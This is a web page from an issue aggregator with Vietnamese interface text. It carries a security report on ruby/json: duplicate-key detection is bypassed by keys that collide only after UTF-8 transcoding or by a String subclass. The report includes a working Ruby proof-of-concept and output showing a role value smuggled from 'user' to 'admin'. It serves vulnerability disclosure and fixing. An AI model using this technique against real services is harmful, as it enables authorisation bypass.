Duplicate-key detection in JSON generation is bypassed by keys that collide only after UTF-8 transcoding (JSON smuggling)
Maintainer thường phản hồi trong vòng 1 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 55/100
Hướng nghiên cứu
Start in ext/json/ext/generator/generator.c around lines 899–935 and 1017–1069, then read JSON.on_mixed_keys_hash in lib/json/common.rb:112 to trace key conversion and duplicate checks. Reproduce with the UTF-8 and ISO-8859-1 string keys from the report, and inspect existing assert_duplicate_key tests and the 3.2.0 CHANGES.md entry. Done means generation rejects keys that collide after UTF-8 transcoding, including the reported String subclass case.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
About
Title: Duplicate-key detection in JSON generation is bypassed by keys that collide only after UTF-8 transcoding (JSON smuggling)
Repository: ruby/json
Location: ext/json/ext/generator/generator.c:1040
Severity: Medium
Impacted versions: 3.0.0, 3.1.0, 3.2.0
Summary
json made allow_duplicate_key: false the default for generation in 3.0.0 (duplicated
keys are now rejected by default), and 3.2.0 added detection for collisions between a
String/Symbol key and a non-String key such as a String key 1 together with an Integer key 1.
The C generator implements that check by comparing Ruby types: json_object_i
records the first key's type and only calls back into Ruby (JSON.on_mixed_keys_hash,
lib/json/common.rb:112) when a later key has a different type (generator.c:1017-1069).
on_mixed_keys_hash then stringifies every key and raises JSON::GeneratorError when two
of them coincide. But when every key is a plain T_STRING, the callback is never reached,
and the generator only converts keys to UTF-8 afterwards, in
ensure_valid_encoding/convert_invalid_encoding (generator.c:899-935).
So two Ruby string keys that are distinct objects but become the same JSON member name
after the generator's own transcoding are never compared: the UTF-8 bytes C3 A9 tagged
UTF-8 and the single byte E9 tagged ISO-8859-1 (both U+00E9), and equally the UTF-16BE
form, are kept as separate Hash entries, and the generator prints the member name twice
with the two different values. The same happens with a String subclass whose #to_s
differs from its content when it follows a plain String key (both are T_STRING). This
was confirmed on 3.0.0, 3.1.0 and 3.2.0; the TruffleRuby backend happens to catch the
subclass case because it compares key classes, while JRuby's HashKeyTracker is
type-based like the C extension and does not. JSON::Coder with or without a converter
block is affected the same way; only the rfc8785 path with a converter rejects the
Latin-1 key.
RFC 7493 (I-JSON) section 2.3 defines duplicate names as names that are identical
sequences of Unicode characters, i.e. after the transcoding the generator performs, so
this is a gap in the guard rather than an exotic input. Recommendation: deduplicate on the
transcoded key bytes (validate/normalise keys to UTF-8 first, as Ext.coerce_key already
does for the rfc8785 path) and do not compare only key classes.
Impact
The cost is JSON/parameter smuggling across a trust boundary. A Ruby component that relies
on the default allow_duplicate_key: false check to guarantee that the documents it
forwards are unambiguous will emit a document with two members of the same name, and the
receiver - JavaScript JSON.parse, Python json.loads, jq, or ruby/json itself with
allow_duplicate_key: true - silently keeps the last one. The producer and the consumer
therefore disagree about the document: in the proof of concept the Ruby Hash maps the
accented name to user while the backend maps it to admin, so an attacker who can get a
second copy of a key into the document overrides the legitimate value that the producer
validated, checked or logged. Strict consumers (this library's parser among them) instead
reject the message, which is a second, availability-only outcome of the same bug.
The severity is bounded by the precondition: unlike a plain String/Symbol duplicate pair,
the collision requires the Hash to hold two distinct Ruby keys that only coincide after
transcoding (different encodings of the same character) or a String subclass with a
surprising #to_s. That means attacker-controlled keys can only reach the sink through
application code that builds hash keys from differently-encoded sources - a Latin-1
CSV/XML/DB import merged with UTF-8 request parameters, for instance - and the override
only materialises if the downstream consumer resolves duplicates last-wins. When both
conditions are met the impact is high (integrity/authorisation decisions made on a value
the producer never saw), which is why this is still worth fixing: the documented default
check is the thing applications trust to prevent exactly that, and it fails silently.
Mitigations
Normalise and validate keys to well-formed UTF-8 before building hashes, and do not rely
on allow_duplicate_key: false as a security boundary. Reject non-String/non-Symbol keys
and String subclasses via a whitelist before serialisation. Upgrade to a json release
whose generator compares the transcoded key bytes rather than the Ruby key types.
Examples
example 1
A Ruby gateway that validates a document and forwards JSON.generate(document) to a Node
or Python backend. With one member name supplied twice, once as UTF-8 and once as
ISO-8859-1, the guard does not fire; the wire bytes carry the same name twice, user first
and admin second, and the backend resolves the role to admin - verified with Node,
Python and jq, while the Ruby side still reads user.
example 2
The same input against a WAF/policy engine or a signature verifier that parses the body
itself: parsers disagree about duplicate members (RFC 7159 section 4, in this repository's
references/, notes that some report the last pair, some error out, some report all
pairs), so the component that inspects the request and the component that acts on it can
reach different conclusions from one body.
example 3
A String subclass key with an overridden #to_s (for example a normalising key class,
or a class that returns a redacted value from to_s) placed after a plain String key
produces the same duplicated member: a Hash holding the String key x plus a
ShadowedString key whose to_s returns x serialises to two members named x because
both keys are T_STRING and are never compared.
example 4
The project's own test suite frames this as a supported guarantee - assert_duplicate_key
cases for a String key 1 plus an Integer key 1 and for a Symbol key plus an Integer key,
and the 3.2.0 CHANGES.md entry about fixing JSON.generate not detecting duplicate keys
such as those - so applications that adopted allow_duplicate_key: false did so on the
documented promise that colliding keys are rejected.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: JSON duplicate-key detection bypass (allow_duplicate_key: false) -> JSON smuggling
#
# ruby/json 3.2.0 documents `allow_duplicate_key: false` (the default) as a
# guard that raises JSON::GeneratorError when two hash keys would serialise to
# the same JSON object key. The C generator implements that guard by comparing
# only the *Ruby types* of the keys (`arg->first_key_type`), so it never notices
# two String keys that become identical only *after* the generator transcodes
# them to UTF-8, nor a String subclass whose #to_s differs from its content.
# Resolve the repo under test whether run from the repo root or from tmp/poc.
lib = File.expand_path("lib", Dir.pwd)
lib = File.expand_path("../lib", __dir__) unless File.directory?(lib)
$LOAD_PATH.unshift(lib)
require "json"
puts "json gem #{JSON::VERSION} (generator: #{JSON.generator})"
# --- The victim gateway: it believes JSON.generate's default options reject
# --- duplicate keys before it forwards the document to its backend.
def guarded_forward(document)
wire = JSON.generate(document) # allow_duplicate_key: false (the default)
# The backend is a normal JSON consumer: last duplicate key wins.
backend_view = JSON.parse(wire, allow_duplicate_key: true)
[wire, backend_view]
end
# --- Baseline: the guard works when it can see the collision.
baseline = { "\xC3\xA9".b.force_encoding("UTF-8") => "user", :"\u00e9" => "admin" }
begin
guarded_forward(baseline)
puts "[-] baseline unexpectedly passed the guard"
rescue JSON::GeneratorError => e
puts "[+] baseline rejected by the guard as designed: #{e.message}"
end
# --- Attack A: same logical key "é", but the second copy is delivered in
# --- ISO-8859-1 (a legacy system / header / form field). Ruby treats it as a
# --- distinct Hash key; the generator transcodes both to UTF-8 "é".
utf8_e = "\xC3\xA9".b.force_encoding("UTF-8") # U+00E9, UTF-8
latin1_e = "\xE9".b.force_encoding("ISO-8859-1") # U+00E9, Latin-1
attack = { utf8_e => "user", latin1_e => "admin" }
puts "\n[>] attack keys are distinct Ruby objects: #{attack.keys.uniq.size == 2} " \
"(encodings #{attack.keys.map(&:encoding).inspect})"
wire, backend_view = guarded_forward(attack)
puts "[!] duplicate-key guard did NOT raise"
puts "[!] forwarded wire bytes : #{wire.inspect}"
puts "[!] backend (last-wins) : #{backend_view.inspect}"
puts "[!] smuggled value : #{backend_view[utf8_e].inspect} <-- attacker overrode 'user'"
# --- Attack B: a String subclass whose #to_s differs from its content.
class ShadowedString < String
def to_s
"x"
end
end
sub_attack = { "x" => "user", ShadowedString.new("y") => "admin" }
wire2, view2 = guarded_forward(sub_attack)
puts "\n[!] subclass bypass wire : #{wire2.inspect}"
puts "[!] backend (last-wins) : #{view2.inspect} <-- attacker overrode 'user'"
puts "\nRESULT: #{backend_view[utf8_e] == 'admin' && view2['x'] == 'admin' ? 'VULNERABLE' : 'not vulnerable'}"
stdout
json gem 3.2.0 (generator: JSON::Ext::Generator)
[+] baseline rejected by the guard as designed: detected duplicate key "é" in {"é" => "user", é: "admin"}
[>] attack keys are distinct Ruby objects: true (encodings [#<Encoding:UTF-8>, #<Encoding:ISO-8859-1>])
[!] duplicate-key guard did NOT raise
[!] forwarded wire bytes : "{\"é\":\"user\",\"é\":\"admin\"}"
[!] backend (last-wins) : {"é" => "admin"}
[!] smuggled value : "admin" <-- attacker overrode 'user'
[!] subclass bypass wire : "{\"x\":\"user\",\"x\":\"admin\"}"
[!] backend (last-wins) : {"x" => "admin"} <-- attacker overrode 'user'
RESULT: VULNERABLE
- Ngôn ngữ chính
- Ruby
- Star
- 787
- Fork
- 392
- Merge trung bình
- 6 giờ 4 phút
- Pull request đã merge (30 ngày)
- 22
Chuẩn bị môi trường
Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của ruby/json
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 55/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Audit excluded tests on JRuby and address differencesCó thể đã có người làm @ojuschugh1 đã nhận 5 ngày trước. Đang mở
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 48/100
ruby/json#1123 · 5 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Can `ResumableParser` return whether the last `partial_value` container is completed or not?Đang mở
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 55/100
ruby/json#1041 · 7 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Output formatting differences between jRuby 10.0.0.1 and Ruby 3.4 when converting Float to JSON.Có thể đã có người làm @headius đã nhận 459 ngày trước. Đang mởjruby
ruby/json#817 · 3 bình luận · 1 reaction · 1 người được giao ·
Maintainer thường phản hồi trong vòng 1 ngày
Issue tương tự
-
SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raisingĐang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 67/100
ruby/securerandom#92 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 85/100
open-feature/ruby-sdk-contrib#340 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 88/100
zold-io/wts.zold.io#651 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
good first issue help wanted
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 87/100
erkamyaman/rust-anything#788 ·
Maintainer thường phản hồi trong vòng 1 ngày